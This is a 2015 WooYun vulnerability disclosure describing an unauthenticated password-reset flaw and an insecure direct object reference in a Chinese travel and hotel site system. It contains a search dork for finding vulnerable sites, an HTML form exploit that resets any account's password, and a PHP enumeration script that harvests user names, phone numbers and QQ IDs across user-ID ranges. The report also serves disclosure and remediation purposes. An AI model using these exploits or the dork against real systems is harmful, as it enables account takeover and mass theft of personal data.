当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133190

漏洞标题:某旅游系统逻辑缺陷导致大量用户信息泄漏任意密码修改+验证脚本

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-08-15 22:55

修复时间:2015-10-02 09:56

公开时间:2015-10-02 09:56

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-15: 细节已通知厂商并且等待厂商处理中
2015-08-18: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-28: 细节向核心白帽子及相关领域专家公开
2015-09-07: 细节向普通白帽子公开
2015-09-17: 细节向实习白帽子公开
2015-10-02: 细节向公众公开

简要描述:

吓死宝宝了

详细说明:

通用型漏洞
关键字:

inurl:"HotelManager/GetTopHotels.aspx"


涉及网站:

**.**.**.**    华中自助游网
**.**.**.** 恩施旅游网
**.**.**.** 恩施硒都酒店联盟
...


0x01 任意密码修改
输入网站会员手机号或者邮箱,可直接修改密码
请看POC(修改POC里Form的Action地址以修改请求目标):

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<p>
填入目标的电话号码或者邮箱 点击重置密码 即可重置任意帐户密码
</p>
<br>
<form action="http://**.**.**.**/Profile.aspx/reset" method="POST">
电 话:<input type="text" name="p$ctl00$txtMobile" value=""><br>
邮 箱:<input type="text" name="p$ctl00$txtEmail" value=""><br>
<!--在找回密码的页面获得有效的__EVENTVALIDATION和__VIEWSTATE可以多次利用-->
<input type="hidden" name="__EVENTVALIDATION" value="/wEWBAKZweC1BwKrptGYCQKrsdfTAwL3m/b3B0Ggi/pDHSRG4MTpcgdY8b+3YgX5">
<input type="hidden" name="__VIEWSTATE" value="/wEPDwUKLTQ4MjY3NjUwMGRks9mYI1u+YGSLVwr6TWcZFFwmZyk=">
<input type="submit" name="p$ctl00$btnReset" value="重置密码"><br>
</form>
</html>


修改成功!

重置密码.png


0x02 用户信息遍历
存在问题的接口

http://{domain}/profile.aspx/view/{UID}


请看POC:

<?php
/*******************************************
权限配置不当,可遍历,可脱裤
********************************************/
header("content-type:text/html;charset=utf-8");
array_shift($argv);
$Url = "http://".$argv[0]."/profile.aspx/view/";
$Uid=$argv[1];
$ids = '';
$ide = '';
if($Url&&$Uid){
$Uid = explode('-',$argv[1]);
$ids = $Uid[0];
$ide = $Uid[1];
echo "[+] Starting Target:".$argv[0]." Uid :".$argv[1]." at ".date("Y-m-d H:i:s")."\r\n";
echo b("[+] [ UID:用户ID ==> 帐户ID----姓名----电话号码----QQ号码----注册时间----最后登录时间 ]\r\n");
for ($i=$ids; $i <= $ide; $i++) {
$c = file_get_contents($Url.$i);
$c = b($c);
$Account = getSubstr($c,"p_ctl00_lblUsername\">","</span>");
$Name = getSubstr($c,"p_ctl00_lblFirstname\">","</span>");
$Phone = getSubstr($c,"p_ctl00_lblMobilePhoe\">","</span>");
$QQ = getSubstr($c,"p_ctl00_lblQQ\">","</span>");
$RegsiterTime = getSubstr($c,"p_ctl00_lblRegisteredOn\">","</span>");
$LastLoginTime = getSubstr($c,"p_ctl00_lblLastLogin\">","</span>");
if(!$Account)
{
echo "UID: ".$i." ==> Wrong Uid\r\n";
continue;
}
if($QQ == '')
{
$QQ = "Null";
}
if($LastLoginTime == '')
{
$LastLoginTime = "Null";
}
echo " UID: ".$i." ==> ".$Account."----".$Name."----".$Phone."----".$QQ."----".$RegsiterTime."----".$LastLoginTime."\r\n";

}
echo "[+] Done.";
}
else {
echo "
[+] Usage:
[+] exp.php Url StartUserID-EndUserID
[+] For Example: exp.php http://**.**.**.** 1-10";
}
function getSubstr($str, $leftStr, $rightStr) //取出中间文本内容
{
$left = strpos($str, $leftStr);
$right = strpos($str, $rightStr,$left);
if($left < 0 or $right < $left) return '';
return substr($str, $left + strlen($leftStr), $right-$left-strlen($leftStr));
}
function b($s) //解决中文乱码
{
return iconv("utf-8","gb2312//IGNORE",$s);
}
?>


getinfo1.png


漏洞证明:

获得电话号码就能重置密码 0x01+0x02双剑合璧
看看影响了多少用户
华中自助游目前已有 18658 名用户受影响

MaxUser.png


恩施酒店联盟目前已有 9169 名用户受影响

Max User2.png


来看看"脱裤"的情况:
网站+用户ID范围

getinfo1.png


getinfo2.png


getinfo3.png


批量获取用户手机号或电话 ,直接可以强制更改密码
至此 仅测试前5名用户的信息采集 以及 探测最大用户量,未进行整站脱裤
快点修复吧.. >_< 我还没批...

修复方案:

只是简单测试了一下 就有这么多问题
1.用户密码找回应有二次校验
2.加验证码防止页面数据重复提交以被利用
3.权限 权限 权限 .. 平行权限的危害是非常大的
4.提不提交是一种态度,修不修复就是您的态度了

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-18 09:54

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无